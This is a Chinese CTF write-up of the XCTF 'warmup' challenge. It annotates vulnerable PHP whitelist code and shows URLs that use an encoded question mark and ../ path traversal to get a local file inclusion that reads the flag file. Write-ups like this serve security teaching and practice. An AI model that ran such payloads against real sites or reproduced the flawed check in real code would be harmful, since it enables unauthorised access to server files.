码迷,mamicode.com
首页 > 其他好文 > 详细

XCTF:warmup(文件包含)

时间:2020-10-18 16:15:27      阅读:29      评论:0      收藏:0      [点我收藏+]

标签:flag   php   can   ring   技术   stat   rgb   参数   代码   

XCTF题目:warmup

 

首先F12发现有一个source.php文件,访问以后进行代码审计:

 <?php
    highlight_file(__FILE__);//代码高亮
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {  //isset():检查参数是否被设置且不能为NULL
                echo "you can‘t see it";               
                return false;
            }

            if (in_array($page, $whitelist)) {//在$page中是否有白名单列表的值
                return true;
            }

            $_page = mb_substr(//字符串截断
                $page,
                0,
                mb_strpos($page . ‘?‘, ‘?‘)//mb_strpos():查找String(参数2)在String(参数1)首次出现的位置。return:有的话返回int|没有返回false。
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);//url解码
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . ‘?‘, ‘?‘)
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can‘t see it";
            return false;
        }
    }

    if (! empty($_REQUEST[‘file‘])
        && is_string($_REQUEST[‘file‘])
        && emmm::checkFile($_REQUEST[‘file‘])
    ) {//传递的file不能为空,只能为字符串,且满足checkFile函数
        include $_REQUEST[‘file‘];//文件包含
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

 

随意输入参数一个得到

 

 

通过代码审计得到想要执行文件包含的话要绕过in_array()函数

这里从url解码函数入手:代码中通过mb_substr()  是去过滤问号,那么我们采用url编码去输入问号构造:

http://220.249.52.133:42931/source.php?file=source.php%3F/../ffffllllaaaagggg

 

查找发现没有flag文件,尝试其他目录后发现flag

http://220.249.52.133:42931/source.php?file=source.php%3F../../../../../ffffllllaaaagggg

 

技术图片

 

 

 

XCTF:warmup(文件包含)

标签:flag   php   can   ring   技术   stat   rgb   参数   代码   

原文地址:https://www.cnblogs.com/luocodes/p/13824980.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!